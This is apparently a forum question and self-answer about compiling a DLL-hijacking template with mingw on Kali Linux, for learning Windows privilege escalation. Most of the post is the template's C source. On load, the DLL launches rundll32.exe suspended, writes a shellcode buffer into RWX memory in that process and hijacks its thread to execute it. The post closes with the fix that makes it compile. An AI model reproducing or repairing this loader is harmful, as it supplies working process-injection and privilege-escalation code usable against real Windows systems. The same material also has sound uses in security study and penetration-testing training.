Privilege Escalation using DLL Hijacking - error while compiling "template.c" - windows

Question

I'm learning about DLL Hijacking, going step by step this video made by Vivek - Privilege Escalation using DLL Hijacking
Everything is very well explained, but there is one passage that is getting me in trouble. It's about compiling "template.c" with mingw32 on Kali Linux. When I'm doing the same thing as is described in video, means:
root#kali:~# i686-w64-mingw32-gcc-win32 template.c -o template.dll
-shared
I'm still getting this error:
/tmp/ccRJy0bd.o:template.c:(.text+0x49): undefined reference to
`inline_bzero' collect2: error: ld returned 1 exit status
Here is source code of "template.c"
#include <windows.h>
#include "template.h"
#if BUILDMODE == 2
/* hand-rolled bzero allows us to avoid including ms vc runtime */
void inline_bzero(void *p, size_t l)
{
BYTE *q = (BYTE *)p;
size_t x = 0;
for (x = 0; x < l; x++)
*(q++) = 0x00;
}
#endif
void ExecutePayload(void);
BOOL WINAPI
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
{
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
ExecutePayload();
break;
case DLL_PROCESS_DETACH:
// Code to run when the DLL is freed
break;
case DLL_THREAD_ATTACH:
// Code to run when a thread is created during the DLL's lifetime
break;
case DLL_THREAD_DETACH:
// Code to run when a thread ends normally.
break;
}
return TRUE;
}
void ExecutePayload(void) {
int error;
PROCESS_INFORMATION pi;
STARTUPINFO si;
CONTEXT ctx;
DWORD prot;
LPVOID ep;
// Start up the payload in a new process
inline_bzero( &si, sizeof( si ));
si.cb = sizeof(si);
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
if(CreateProcess( 0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);
ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
#ifdef _WIN64
ctx.Rip = (DWORD64)ep;
#else
ctx.Eip = (DWORD)ep;
#endif
SetThreadContext(pi.hThread,&ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
// ExitProcess(0);
ExitThread(0);
}
/*
typedef VOID

And "template.h", if needed.
#define SCSIZE 2048
unsigned char code[SCSIZE] = "PAYLOAD:";
Solved.
Just remove "#if BUILDMODE == 2" and "#endif" lines, then compilation is successfully done.
